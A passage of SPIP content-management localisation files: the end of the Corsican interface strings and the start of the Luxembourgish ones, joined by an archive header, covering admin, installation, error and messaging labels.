'texte_statut_publie' => 'pubblicatu in ligna',
'texte_statut_refuse' => 'rifiutatu',
'titre_ajouter_mot_cle' => 'AGHJUNGHJE UN SEGNU :',
'titre_cadre_raccourcis' => 'ACCURTATOGHJI :',
'titre_changer_couleur_interface' => 'Scambià u culore di l’interfaccia',
'titre_image_admin_article' => 'Pudete amministrà st’artìculu',
'titre_image_administrateur' => 'Amministratore',
'titre_image_aide' => 'Aiutu nant’à st’elementu',
'titre_image_auteur_supprime' => 'Autore sguassatu',
'titre_image_redacteur' => 'Scrittore senza accessu',
'titre_image_redacteur_02' => 'Scrittore',
'titre_image_visiteur' => 'Visitore',
'titre_joindre_document' => 'ALLEà UN DUCUMENTU',
'titre_mots_cles' => 'SEGNI',
'titre_probleme_technique' => 'Attenti : un prublemu tècnicu (servore SQL) impedisce l’accessu à sta parte di u situ.',
'titre_publier_document' => 'PUBBLICà UN DUCUMENTU IN STA RÙBBRICA',
'titre_signatures_attente' => 'Zifre in attesa di cunvalidazione',
'titre_signatures_confirmees' => 'Zifre cunfirmate',
'titre_statistiques' => 'Statìstiche di u situ',
'titre_titre_document' => 'Tìtulu di u ducumentu :',
'todo' => 'In futuru',
'trad_reference' => '(artìculu di riferenza)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B più in dà',
'zbug_balise_inexistante' => 'errore @from@: a balisa #@balise@ ùn esiste micca',
'zbug_balise_sans_argument' => 'Ci manca l’argumentu in a balisa @balise@',
'zbug_boucle' => 'cìculu',
'zbug_boucle_recursive_undef' => 'cìculu ricursivu indefinitu',
'zbug_calcul' => 'càlculu',
'zbug_champ_hors_boucle' => 'Campu @champ@ hors boucle',
'zbug_champ_hors_motif' => 'Campu @champ@ hors d’une boucle de motif @motif@',
'zbug_code' => 'còdice',
'zbug_critere_inconnu' => 'criteriu scunnisciutu @critere@',
'zbug_distant_interdit' => 'esternu interdettu', # Contexte : une base de données "externe", pas gérée par SPIP, mais que SPIP 1.8 sait utiliser dans ses boucles -- seul problèmes certaines manipulations sont interdites sur ces bases-là.
'zbug_doublon_table_sans_cle_primaire' => 'duppioni in una tàvula senza chjave primaria atòmica',
'zbug_doublon_table_sans_index' => 'duppioni in un tàvula senza ìndice',
'zbug_erreur_boucle_double' => 'CìCULU@id@: doppia definizione',
'zbug_erreur_boucle_fermant' => 'CìCULU@id@: ci manca u tag di chjusura',
'zbug_erreur_boucle_syntaxe' => 'Sintassa di cìculu sbagliata',
'zbug_erreur_compilation' => 'Errore di cumpilazione',
'zbug_erreur_execution_page' => 'errore d’eseguimentu di a pàgina',
'zbug_erreur_filtre' => 'Errore : stacciu <b>« @filtre@ »</b> indefinitu',
'zbug_erreur_meme_parent' => '{meme_parent} pò esse appiecatu solu à i cìculi (FORI) o (RùBBRICHE)',
'zbug_erreur_squelette' => 'Errore/i in u mudellu',
'zbug_hors_compilation' => 'Fora di cumpilazione',
'zbug_info_erreur_squelette' => 'Errore nant’à u situ',
'zbug_inversion_ordre_inexistant' => 'inversione d’un òrdine inesistente',
'zbug_pagination_sans_critere' => '#PAGINATION senza criteriu {pagination} o puru impiegatu in un cìculu ricursivu',
'zbug_parametres_inclus_incorrects' => 'Paràmetri d’inclusione sbagliati',
'zbug_profile' => 'Tempu di càlculu : @time@',
'zbug_resultat' => 'risultatu',
'zbug_serveur_indefini' => 'servore SQL indefinitu',
'zbug_statistiques' => 'Statìstiche di e richieste SQL in òrdine di durata',
'zbug_table_inconnue' => 'Tàvula SQL « @table@ » scunnisciuta',
'zxml_connus_attributs' => 'attributi cunnisciuti',
'zxml_de' => 'di',
'zxml_inconnu_attribut' => 'attributu scunnisciutu',
'zxml_inconnu_balise' => 'balisa scunnisciuta',
'zxml_inconnu_entite' => 'entità scunnisciuta',
'zxml_inconnu_id' => 'ID scunnisciutu',
'zxml_mais_de' => 'ma di',
'zxml_non_conforme' => 'ùn hè cunforme à u mutivu',
'zxml_non_fils' => 'ùn hè figliolu di',
'zxml_nonvide_balise' => 'balisa micca viota',
'zxml_obligatoire_attribut' => 'attributu ubbligatoriu ma inesistente in',
'zxml_succession_fils_incorrecte' => 'eredità di i figlioli sbagliata',
'zxml_survoler' => 'passà sopra cù u topu pè vede quelli curretti',
'zxml_valeur_attribut' => 'valore di l’attributu',
'zxml_vide_balise' => 'balisa viota',
'zxml_vu' => 'vistu prima'
);
?>
ecrire_lb.php 0000666 00000213555 15252547432 0007233 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'De Plugin aktivéieren',
'affichage' => 'Uweisen',
'aide_non_disponible' => 'Dësen Deel vun der Hëllef gëtt et nach net an där Sprooch.',
'annuler_recherche' => 'D’Sich annuléieren',
'auteur' => 'Auteur:',
'avis_acces_interdit' => 'Zougang gespaart.',
'avis_article_modifie' => 'Opgepasst, den @nom_auteur_modif@ huet un dësem Artikel virun @date_diff@ Minuten geschafft',
'avis_aucun_resultat' => 'Kee Resultat.',
'avis_base_inaccessible' => 'Onméiglech mat der Datebank @base@ ze verbannen.',
'avis_chemin_invalide_1' => 'De Wee deen dir gewielt hutt',
'avis_chemin_invalide_2' => 'schéngt net ze fonctionnéieren. Gidd op déi läscht Säit zeréck a kontrolléiert d’Informatiounen.',
'avis_connexion_echec_1' => 'D’Verbannen mat der Datebank huet net fonctionnéiert.',
'avis_connexion_echec_2' => 'Gidd op déi läscht Säit zeréck a kontrolléiert d’Informatiounen.',
'avis_connexion_echec_3' => '<b>N.B.</b> Op ville Serveren muss dir d’Ariichte vun engem Zougang un d’Datebank <b>ufroen</b>, ier der se benotze kënnt. Wann der keng Verbindung kritt, kontrolléiert op dat gemaach ass.',
'avis_connexion_erreur_nom_base' => 'De Numm vun der Datebank däerf nëmme Buschtawen, Zuelen oder Bindestrécher hunn',
'avis_connexion_ldap_echec_1' => 'D’Verbindung mam LDAP-Server huet net fonctionnéiert.',
'avis_connexion_ldap_echec_2' => 'Gidd op déi läscht Säit zeréck a kontrolléiert d’Informatiounen.',
'avis_connexion_ldap_echec_3' => 'Alternativ benotzt keng LDAP-Ënnerstetzung fir d’Benotzer ze verwalten.',
'avis_deplacement_rubrique' => 'Opgepasst! Dës Rubrik huet @contient_breves@ brève@scb@: wann der se réckelt, klickt dëst Bestätegungs-Feld un.',
'avis_destinataire_obligatoire' => 'Dir musst dën Empfänger uginn ier der dëse Message fortschéckt.',
'avis_erreur_connexion_mysql' => 'Fehler bei der SQL-Verbindung',
'avis_erreur_version_archive' => '<b>Opgepasst! De Fichier @archive@ korrespondéiert zu enger anerer SPIP-Versioun wéi déi installéiert.</b> Dir kommt a grouss Schwieregkeeten: Risiko dat är Datebank zerstéiert gëtt, generellen Dysfonctionnement vum Site, asw. Bestätegt dësen Import net.<p>Fir méi Informatiounen kuckt an <a href="@spipnet@"> der Dokumentatioun vu SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Gespaarten Deel</b><p>SPIP ass schon installéiert.</p>',
'avis_lecture_noms_bases_1' => 'Den Installatiouns-Programm konnt d’Nimm vun den installéierten Datebanken net liesen.',
'avis_lecture_noms_bases_2' => 'Entweder steet keng Datebank zur Verfügung, oder d’Fonctioun fir d’Datebanken opzelëschten ass aus Sécherheetsgrënn ausgeschalt ginn (dat ass esou bei villen Provider’en).',
'avis_lecture_noms_bases_3' => 'Am zweete Fall ass et méiglech dat eng Datebank mam selwechte Numm wéi äre Login ka benotzt ginn:',
'avis_non_acces_message' => 'Dir hutt keen Zougang zu dësem Message.',
'avis_non_acces_page' => 'Dir hutt keen Zougang zu dëser Säit.',
'avis_operation_echec' => 'Déi Operatioun huet net fonctionnéiert.',
'avis_operation_impossible' => 'Operatioun onméiglech',
'avis_probleme_archive' => 'Problem beim Liese vum Fichier @archive@',
'avis_suppression_base' => 'OPGEPASST, d’Läsche vun den Daten ka net réckgängeg gemaach ginn',
'avis_version_mysql' => 'Är SQL-Versioun (@version_mysql@) erlaabt d’automatesch Reparatur vun den Datebank-Tafelen net.',
// B
'bouton_acces_ldap' => 'LDAP-Zougang bäiflécken',
'bouton_ajouter' => 'Bäiflécken',
'bouton_ajouter_participant' => 'MATAARBECHTER BÄIFLÉCKEN:',
'bouton_annonce' => 'ANNONCE',
'bouton_annuler' => 'Ofbriechen',
'bouton_checkbox_envoi_message' => 'et kann e Message geschéckt ginn',
'bouton_checkbox_indiquer_site' => 'dir musst en Internet-Site uginn',
'bouton_checkbox_signature_unique_email' => 'eng eenzeg Ënnerschrëft pro Email-Adress',
'bouton_checkbox_signature_unique_site' => 'Eng eenzeg Ënnerschrëft pro Internet-Site',
'bouton_demande_publication' => 'D’Verëffentlechung vum Artikel ufroen',
'bouton_desactive_tout' => 'Alles ausschalten',
'bouton_desinstaller' => 'De-installéieren',
'bouton_effacer_index' => 'Den Index läschen',
'bouton_effacer_tout' => 'ALLES läschen',
'bouton_envoi_message_02' => 'MESSAGE SCHÉCKEN',
'bouton_envoyer_message' => 'Definitive Message: schécken',
'bouton_fermer' => 'Zouklappen',
'bouton_mettre_a_jour_base' => 'Datebank upassen',
'bouton_modifier' => 'Änneren',
'bouton_pense_bete' => 'PERSÉINLECH NOTIZ',
'bouton_radio_activer_messagerie' => 'Déi intern Messagerie aschalten',
'bouton_radio_activer_messagerie_interne' => 'Déi intern Messagerie aschalten',
'bouton_radio_activer_petition' => 'D’Petitioun aschalten',
'bouton_radio_afficher' => 'Weisen',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Op d’Lëscht vun den ugemellte Redaktere kommen',
'bouton_radio_desactiver_messagerie' => 'D’Messagerie ausschalten',
'bouton_radio_envoi_annonces_adresse' => 'D’Annonce schécken op d’Adress:',
'bouton_radio_envoi_liste_nouveautes' => 'D’Lëscht mat de Neiegkeeten schécken',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Net op d’Lëscht vun de Redaktere kommen',
'bouton_radio_non_envoi_annonces_editoriales' => 'Keng editorial Neiegkeete schécken',
'bouton_radio_pas_petition' => 'Keng Petitioun',
'bouton_radio_petition_activee' => 'Petitioun ageschalt',
'bouton_radio_supprimer_petition' => 'D’Petitioun läschen',
'bouton_redirection' => 'ËMLEEDUNG',
'bouton_relancer_installation' => 'D’Ariichte nei ufänken',
'bouton_suivant' => 'Weider',
'bouton_tenter_recuperation' => 'Eng Reparatur probéieren',
'bouton_test_proxy' => 'E Proxy probéieren',
'bouton_vider_cache' => 'De Cache läschen',
'bouton_voir_message' => 'De Message weisen ier e validéiert gëtt',
// C
'cache_mode_compresse' => 'D’Fichieren am Cache si kompriméiert gespäichert.',
'cache_mode_non_compresse' => 'D’Fichieren am Cache si net kompriméiert gespäichert.',
'cache_modifiable_webmestre' => 'Dëse Parameter ka vum Webmaster geännert ginn.',
'calendrier_synchro' => 'Wann dir en <b>iCal</b>-kompatibelen Agenda benotzt, da kënnt dir d’Informatioune mat dësem Site synchroniséieren.',
'config_activer_champs' => 'Folgend Felder aschalten',
'config_choix_base_sup' => 'eng Datebank op dësem Server uginn',
'config_erreur_base_sup' => 'SPIP huet keen Zougrëff op d’Lëscht vun den Datebanken',
'config_info_base_sup' => 'Wann dir via SPIP aner Datebanke benotze wëllt, mat sengem SQL-Server oder engem aneren, dann deklaréiert se mat dësem Formulaire. Wann dir Felder eidel loosst da ginn d’Daten vun der Haaptdatebank benotzt.',
'config_info_base_sup_disponibles' => 'Zousätzlech Datebanken kënnen benotzt ginn:',
'config_info_enregistree' => 'Déi nei Astellung ass gespäichert',
'config_info_logos' => 'All Element vum Site kann e Logo an e MouseOver-Logo hunn.',
'config_info_logos_utiliser' => 'Logoe benotzen',
'config_info_logos_utiliser_non' => 'Kéng Logoe benotzen',
'config_info_logos_utiliser_survol' => 'MouseOver-Logoe benotzen',
'config_info_logos_utiliser_survol_non' => 'Kéng MouseOver-Logoe benotzen',
'config_info_redirection' => 'Wann dës Optioun un ass kënnt dir virtuell Artikele bäiflécken (Linken op aner Artikelen oder Siten).',
'config_redirection' => 'Virtuell Artikelen',
'config_titre_base_sup' => 'Ariichte vun enger zousätzlecher Datebank',
'config_titre_base_sup_choix' => 'Wielt eng zousätzlech Datebank aus',
'connexion_ldap' => 'Verbindung:',
'copier_en_local' => 'Lokal kopéieren',
'creer_et_associer_un_auteur' => 'En Auteur bäiflécken an ubannen',
'creer_et_associer_une_rubrique' => 'Eng Rubrik bäiflécken an ubannen',
// D
'date_mot_heures' => 'h',
// E
'ecran_securite' => ' + Sécherheetsschëld @version@',
'email' => 'Email',
'email_2' => 'Email:',
'en_savoir_plus' => 'Méi gewuer ginn!',
'entree_adresse_annuaire' => 'Adress vun der Sammlung',
'entree_adresse_email' => 'Är Email-Adress',
'entree_adresse_email_2' => 'Email-Adress',
'entree_base_donnee_1' => 'Adress vun der Datebank',
'entree_base_donnee_2' => '(Dës Adress ass oft selwecht wéi déi vun ärem Site, heiansdo ass et "localhost", heiansdo gëtt se eidel gelooss.)',
'entree_biographie' => 'Kuerz Biographie an e puer Wierder.',
'entree_chemin_acces' => 'De Wee <b>aginn</b>:',
'entree_cle_pgp' => 'Äre PGP-Schlëssel',
'entree_cle_pgp_2' => 'PGP-Schlëssel',
'entree_contenu_rubrique' => '(Inhalt vun der Rubrik an e puer Wierder.)',
'entree_identifiants_connexion' => 'Är Zougangs-Informatiounen...',
'entree_identifiants_connexion_2' => 'Identifikatioun',
'entree_informations_connexion_ldap' => 'Gidd an dëse Formulaire d’Informatiounen vun ärer LDAP-Verbindung an. Dës Informatioune kritt dir vum Administrateur vum System oder vum Netzwierk.',
'entree_infos_perso' => 'Wie sidd Dir?',
'entree_infos_perso_2' => 'Wien ass den Auteur?',
'entree_interieur_rubrique' => 'An der Rubrik:',
'entree_liens_sites' => '<b>Link</b> (Referenz, interessante Site...)',
'entree_login' => 'Äre Login',
'entree_login_connexion_1' => 'De Login fir d’Verbindung',
'entree_login_connexion_2' => '(Ass heiansdo selwecht wéi ären FTP-Login, heiansdo gëtt en eidel gelooss)',
'entree_login_ldap' => 'Initialen LDAP-Login',
'entree_mot_passe' => 'Äert Passwuert',
'entree_mot_passe_1' => 'D’Passwuert fir d’Verbindung',
'entree_mot_passe_2' => '(Ass heiansdo selwecht wéi äert FTP-Passwuert; gëtt heiansdo eidel gelooss)',
'entree_nom_fichier' => 'Gidd de Numm vum Fichier @texte_compresse@ an:',
'entree_nom_pseudo' => 'Äre Numm oder äre Pseudonym',
'entree_nom_pseudo_1' => '(Äre Numm oder äre Pseudonym)',
'entree_nom_pseudo_2' => 'Numm oder Pseudonym',
'entree_nom_site' => 'De Numm vun ärem Site',
'entree_nom_site_2' => 'Numm vum Auteur sengem Site',
'entree_nouveau_passe' => 'Neit Passwuert',
'entree_passe_ldap' => 'Passwuert',
'entree_port_annuaire' => 'D’Port-Nummer vun der Lëscht',
'entree_signature' => 'Ënnerschrëft',
'entree_titre_obligatoire' => '<b>Titel</b> [Obligatoresch]<br />',
'entree_url' => 'D’Adress (URL) vun ärem Site',
'entree_url_2' => 'Adress (URL) vum Site',
'erreur_connect_deja_existant' => 'Et gëtt schonns e Server mat dësem Numm',
'erreur_nom_connect_incorrect' => 'Dëse Server-Numm ass net erlaabt',
'erreur_plugin_desinstalation_echouee' => 'Desinstallatioun vum Plugin ass feelgeschloen. Dir kënnt en awer ausschalten.',
'erreur_plugin_fichier_absent' => 'Fichier fehlt',
'erreur_plugin_fichier_def_absent' => 'Definitiouns-Fichier fehlt',
'erreur_plugin_nom_fonction_interdit' => 'Fonktiouns-Numm verbueden',
'erreur_plugin_nom_manquant' => 'Numm vum Plugin fehlt',
'erreur_plugin_prefix_manquant' => 'Namespace vum Plugin net definéiert',
'erreur_plugin_tag_plugin_absent' => '<plugin> fehlt am Definitiouns-Fichier',
'erreur_plugin_version_manquant' => 'Versioun vum Plugin fehlt',
// H
'htaccess_a_simuler' => 'Warnung: D’Astellung vun ärem HTTP-Server ignoréiert @htaccess@ Fichieren. Fir eng gutt Sécherheet musst dier déi Astellung änneren, oder d’Konstanten @constantes@ (astellbar am Fichier mes_options.php) mussen als Valeur aner Repertoire wéi @document_root@ hun.',
'htaccess_inoperant' => 'htaccess gräift net',
// I
'ical_info1' => 'Dës Säit bitt verschidde Méiglechkeeten fir mam Liewe vun dësem Site a Kontakt ze bleiwen.',
'ical_info2' => 'Fir méi Informatiounen iwwer dës Technik, kuckt an <a href="@spipnet@">der SPIP-Dokumentatioun</a>.',
'ical_info_calendrier' => 'Et ginn zwee Kalenneren. Deen éischten ass e Plang vum Site mat all den Annoncen vun de publizéierten Artikelen. Deen zweeten huet all editorial Annoncen an är läscht privat Messagen: hien ass mat engem perséinleche Schlëssel fir Iech reservéiert, deen dir zu all Moment ännere kënnt wann dir äert Passwuert ännert.',
'ical_methode_http' => 'Eroflueden',
'ical_methode_webcal' => 'Synchronisatioun (webcal://)',
'ical_texte_js' => 'Eng Javascript-Zeil erlaabt ganz einfach op egal wéi engem anere Siten déi läscht Artikelen vun dësem Site ze weisen.',
'ical_texte_prive' => 'Dëse Kalenner, den nëmmen just Iech gehéiert, informéiert Iech iwwert déi editorial Aktivitéiten vun dësem Site (Aufgaben a perséinlech Rendezvous’en, virgeschloen Artikelen a Kuerzmeldungen...).',
'ical_texte_public' => 'Dëse Kalenner erlaabt Iech déi ëffentlech Aktivitéit vun dësem Site ze verfollegen (verëffentlecht Artikelen a Kuerzmeldungen).',
'ical_texte_rss' => 'Dir kennt nei Siten an egal wat fir engem Programm mam Format XML/RSS (Rich Site Summary) verlinken. SPIP kann och d’Neiegkeeten vun anere Site mat deem Format liesen (verlinkt Siten).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailingslëscht',
'ical_titre_rss' => 'RSS-Fichieren',
'icone_accueil' => 'Homepage',
'icone_activer_cookie' => 'De Cookie aschalten',
'icone_activite' => 'Aktivitéit',
'icone_admin_plugin' => 'Plugine verwalten',
'icone_administration' => 'Maintenance',
'icone_afficher_auteurs' => 'Auteure weisen',
'icone_afficher_visiteurs' => 'Visiteure weisen',
'icone_arret_discussion' => 'Net méi un dëser Diskussioun deelhuelen',
'icone_calendrier' => 'Kalenner',
'icone_configuration' => 'Astellung',
'icone_creer_auteur' => 'E neien Auteur bäiflécken an un dësen Artikel bannen',
'icone_creer_mot_cle' => 'E neit Schlësselwuert bäiflécken an un dësen Artikel bannen',
'icone_creer_mot_cle_rubrique' => 'E neit Schlësselwuert bäiflécken an un dës Rubrik bannen',
'icone_creer_mot_cle_site' => 'E neit Schlësselwuert bäiflécken an un dëse Site bannen',
'icone_creer_rubrique_2' => 'Nei Rubrik bäiflécken',
'icone_edition' => 'Ännerung',
'icone_envoyer_message' => 'Dëse Message schécken',
'icone_ma_langue' => 'Meng Sprooch',
'icone_mes_infos' => 'Meng Informatiounen',
'icone_mes_preferences' => 'Meng Virléift',
'icone_modifier_article' => 'Dësen Artikel änneren',
'icone_modifier_message' => 'Dëse Message änneren',
'icone_modifier_rubrique' => 'Dës Rubrik änneren',
'icone_publication' => 'Verëffentlechung',
'icone_relancer_signataire' => 'Beim Ënnerschreiwer nofroen',
'icone_retour' => 'Zeréck',
'icone_retour_article' => 'Zeréck bei den Artikel',
'icone_squelette' => 'Skeletter',
'icone_suivi_publication' => 'Verëffentlechung verfollegen',
'icone_supprimer_cookie' => 'Cookie läschen',
'icone_supprimer_rubrique' => 'Dës Rubrik läschen',
'icone_supprimer_signature' => 'Dës Ënnerschrëft läschen',
'icone_valider_signature' => 'Dës Ënnerschrëft bestätegen',
'image_administrer_rubrique' => 'Dir kënnt dës Rubrik verwalten',
'impossible_modifier_login_auteur' => 'De Login ka net geännert ginn.',
'impossible_modifier_pass_auteur' => 'D’Passwuert ka net geännert ginn.',
'info_1_article' => '1 Artikel',
'info_1_article_syndique' => '1 Artikel verlinkt',
'info_1_auteur' => '1 Auteur',
'info_1_message' => '1 Message',
'info_1_mot_cle' => '1 Schlësselwuert',
'info_1_rubrique' => '1 Rubrik',
'info_1_site' => '1 Site',
'info_1_visiteur' => '1 Visiteur',
'info_activer_cookie' => 'Dir kënnt e <b>Cookie</b> aktivéieren, deen iech erlaabt einfach vum ëffentlechen op de private Site ze wiesselen.',
'info_admin_etre_webmestre' => 'Mir Webmaster-Rechter ginn',
'info_admin_gere_rubriques' => 'Dësen Admin këmmert sech ëm folgend Rubriken:',
'info_admin_gere_toutes_rubriques' => 'Dësen Admin këmmert sech ëm <b>all Rubriken</b>',
'info_admin_gere_toutes_rubriques_2' => 'Ech verwalten <b>all d’Rubriken</b>',
'info_admin_je_suis_webmestre' => 'Ech si <b>Webmaster</b>',
'info_admin_statuer_webmestre' => 'Dësem Admin Webmaster-Rechter ginn',
'info_admin_webmestre' => 'Dësen Admin ass <b>Webmaster</b>',
'info_administrateur' => 'Administrateur',
'info_administrateur_1' => 'Administrateur',
'info_administrateur_2' => 'vum Site (<i>oppassen beim benotzen)',
'info_administrateur_site_01' => 'Wann dir Administrateur vum Site sidd, ',
'info_administrateur_site_02' => 'klickt op dëse Link',
'info_administrateurs' => 'Administrateuren',
'info_administrer_rubrique' => 'Dir kënnt dës Rubrik verwalten',
'info_adresse' => 'op der Adress:',
'info_adresse_url' => 'Adress (URL) vum ëffentleche Site',
'info_afficher_par_nb' => 'Zortéiert no',
'info_afficher_visites' => 'D’Visiten weisen fir:',
'info_aide_en_ligne' => 'Online-Hëllef vu SPIP',
'info_ajout_image' => 'Wann dir engem Artikel Biller als Dokumenter bäifléckt, kann SPIP automatesch Vignetten maachen. Dat erlaabt z.B. automatesch eng Billergalerie ze maachen.',
'info_ajout_participant' => 'De folgenden gouf bäigefléckt:',
'info_ajouter_rubrique' => 'Eng aner Rubrik fir ze verwalten bäiflécken:',
'info_annonce_nouveautes' => 'D’Neiegkeeten annoncéieren',
'info_anterieur' => 'virdrun',
'info_article' => 'Artikel',
'info_article_2' => 'Artikelen',
'info_article_a_paraitre' => 'Déi post-datéiert Artikelen',
'info_articles_02' => 'Artikelen',
'info_articles_2' => 'Artikelen',
'info_articles_auteur' => 'Artikelen vun dësem Auteur',
'info_articles_miens' => 'Meng Artikelen',
'info_articles_tous' => 'All Artikelen',
'info_articles_trouves' => 'Artikele fonnt',
'info_articles_trouves_dans_texte' => 'Artikele fonnt (am Text)',
'info_attente_validation' => 'Är Artikelen déi op Bestätegung waarden',
'info_aucun_article' => 'Keen Artikel',
'info_aucun_article_syndique' => 'Keen Artikel verlinkt',
'info_aucun_auteur' => 'Keen Auteur',
'info_aucun_message' => 'Kee Message',
'info_aucun_rubrique' => 'Keng Rubrik',
'info_aucun_site' => 'Kee Site',
'info_aucun_visiteur' => 'Kee Visiteur',
'info_aujourdhui' => 'Haut:',
'info_auteur_message' => 'AUTEUR VUM MESSAGE:',
'info_auteurs' => 'D’Auteuren',
'info_auteurs_par_tri' => 'Auteuren @partri@',
'info_auteurs_trouves' => 'Auteure fonnt',
'info_authentification_externe' => 'Extern Umeldung',
'info_avertissement' => 'Warnung',
'info_barre_outils' => 'mat senger Toolbar?',
'info_base_installee' => 'D’Struktur vun ärer Datebank ass installéiert.',
'info_bio' => 'Biographie',
'info_chapeau' => 'Chapo',
'info_chapeau_2' => 'Chapo:',
'info_chemin_acces_1' => 'Optiounen: <b>Wee an der Lëscht</b>',
'info_chemin_acces_2' => 'Dir musst de Wee op d’Informatiounen an der Lëscht uginn. Dës Informatioun ass néideg fir de Profil vun de Benotzer aus der Lëscht ze liesen.',
'info_chemin_acces_annuaire' => 'Optiounen: <b>Wee an der Lëscht</b>',
'info_choix_base' => 'Drëtte Schrëtt:',
'info_classement_1' => '. an @liste@',
'info_classement_2' => '. an @liste@',
'info_code_acces' => 'Vergiesst är Zougangs-Informatioune net!',
'info_compatibilite_html' => 'HTML-Norm',
'info_compresseur_gzip' => 'Mir roden iech fir d’éischt ze kontrolléieren op ären Hebergeur d’PHP-Skripter net schonns systematesch kompriméiert; dir kënnt dofir z.B. dësen Service benotzen: @testgzip@',
'info_compresseur_texte' => 'Wann äre Server d’HTML-Säiten net automatesch kompriméiert, kënnt dir probéieren eng Kompressioun ze forcéieren. <b>Opgepasst</b>: dat kann verschidde Serveren méi lues maachen.',
'info_config_suivi' => 'Wann dës Adress eng Mailingslëscht ass, da kënnt dier hei d’Adress uginn wou d’Mataarbechter vun dësem Site sech aschreiwe kënnen. Dës Adress kann eng URL sinn (z.B. d’Internetsäit wou een sech aschreiwe kann), oder eng Email-Adress mat engem extra Sujet (z.B.: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Dir kënnt Iech un d’Mailingslëscht vun dësem Site abonnéieren. Dir kritt dann per Email d’Annoncen vun den Artikelen a Kuerzmeldungen déi fir d’Verëffentlechung virgeschloe goufen.',
'info_confirmer_passe' => 'Bestätegt dat neit Passwuert:',
'info_conflit_edition_avis_non_sauvegarde' => 'Opgepasst, folgend Felder si geännert ginn. Är Ännerunge sinn also net gespäichert ginn.',
'info_conflit_edition_differences' => 'Ënnerscheeder:',
'info_conflit_edition_version_enregistree' => 'Déi gespäichert Versioun:',
'info_conflit_edition_votre_version' => 'Är Versioun:',
'info_connexion_base' => 'Versiche mat der Datebank ze verbannen',
'info_connexion_base_donnee' => 'Verbanne mat ärer Datebank',
'info_connexion_ldap_ok' => '<b>D’Ubannen un LDAP huet fonctionnéiert.</b><p>Weider bei de nächste Schrëtt.</p>',
'info_connexion_mysql' => 'Är SQL-Verbindung',
'info_connexion_ok' => 'D’Verbindung huet geklappt.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Inhalt vun den Artikelen',
'info_contributions' => 'Beiträg',
'info_creation_paragraphe' => 'Fir nei Abschnitter, loosst einfach eidel Zeilen.',
'info_creation_rubrique' => 'Ier der kënnt en Artikel schreiwen<br />musst der op mannst eng Rubrik bäiflécken.<br />',
'info_creation_tables' => 'Tabellen an d’Datebank schreiwen',
'info_creer_base' => 'Eng nei Datebank <b>ariichten</b>:',
'info_dans_rubrique' => 'An der Rubrik:',
'info_date_publication_anterieure' => 'Éischten Redaktiounsdatum:',
'info_date_referencement' => 'DËSE SITE GOUF VERLINKT:',
'info_derniere_etape' => 'Et ass fäerdeg!',
'info_derniers_articles_publies' => 'Är läscht verëffentlecht Artikelen',
'info_desactiver_messagerie_personnelle' => 'Dir kënnt är perséinlech Messagerie op dësem Site an- oder ausschalten.',
'info_descriptif' => 'Beschreiwung:',
'info_desinstaller_plugin' => 'läscht d’Daten a schalt de Plugin aus',
'info_discussion_cours' => 'Aktiv Diskussiounen',
'info_ecrire_article' => 'Ier dier kënnt en Artikel schreiwen, musst dier op mannst eng Rubrik bäiflécken.',
'info_email_envoi' => 'Adress vum Absender (optional)',
'info_email_envoi_txt' => 'Gitt d’Adress un fir Email’en ze schécken (als Default gëtt d’Adress vum Destinataire benotzt):',
'info_email_webmestre' => 'Email-Adress vum Webmaster',
'info_entrer_code_alphabet' => 'Code vum Alphabet dat benotzt soll ginn:',
'info_envoi_email_automatique' => 'Automatescht Schécken vun Emailen',
'info_envoyer_maintenant' => 'Elo schécken',
'info_etape_suivante' => 'Weider bei de nächste Schrëtt',
'info_etape_suivante_1' => 'Dir kënnt bei de nächste Schrëtt weidergoen.',
'info_etape_suivante_2' => 'Dir kënnt bei de nächste Schrëtt weidergoen.',
'info_exceptions_proxy' => 'Ausnam fir de Proxy',
'info_exportation_base' => 'Export vun der Datebank op @archive@',
'info_facilite_suivi_activite' => 'Fir déi editorial Aktivitéiten ze verfollegen, ka SPIP d’Demande fir Artikelen ze verëffentlechen oder d’Bestätegungen un eng Mailingslëscht vun de Redakteren schécken.',
'info_fichiers_authent' => 'Authentifikatiouns-Fichieren ".htpasswd"',
'info_forums_abo_invites' => 'Äre Site huet Forume wou een sech umelle muss; d’Visiteuren ginn also agelueden sech ze enregistréieren.',
'info_gauche_admin_effacer' => '<b>Dës Säit ass fir déi Responsabel vum Site reservéiert.</b><p>Si erlaabt technesch Maintenance-Aarbechten. Fir verschidde vun deene Prozeduren muss een sech iwwer FTP identifizéieren kënnen.</p>',
'info_gauche_admin_tech' => '<b>Dës Säit ass fir déi Responsabel vum Site reservéiert.</b><p>Si erlaabt technesch Maintenance-Aarbechten. Fir verschidde vun deene Prozeduren muss een sech iwwer FTP identifizéieren kënnen.</p>',
'info_gauche_admin_vider' => '<b>Dës Säit ass fir déi Responsabel vum Site reservéiert.</b><p>Si erlaabt technesch Maintenance-Aarbechten. Fir verschidde vun deene Prozeduren muss een sech iwwer FTP identifizéieren kënnen.</p>',
'info_gauche_auteurs' => 'Hei fannt dir all d’Auteur’en vum Site. Hiren Zoustand ass duerch d’Faarf ugewisen (Admin = gréng; Redakter = giel).',
'info_gauche_auteurs_exterieurs' => 'Déi extern Auteuren ouni Zougang zum internen Deel sinn duerch eng blo Ikon markéiert, déi geläschten Auteuren duerch eng Dreckskëscht.',
'info_gauche_messagerie' => 'D’Messagerie erlaabt Iech Messagen un d’Redakteren ze schécken, privat Notizen ze maachen oder Annoncen op d’Startsäit vum privaten Deel ze setzen (wann dir Administrateur sidd).',
'info_gauche_numero_auteur' => 'AUTEUR NUMMER',
'info_gauche_statistiques_referers' => 'Dës Säit weist d’Lëscht vun de <i>Referer</i>, déi Siten wou e Link op ären Site geklickt gouf, awer nëmmen fir haut: dës Lëscht gëtt all 24 Stonnen op Null gesat.',
'info_gauche_visiteurs_enregistres' => 'Hei sinn déi ageschriwwe Visiteuren vum ëffentlechen Deel (Forumen op Abonnement).',
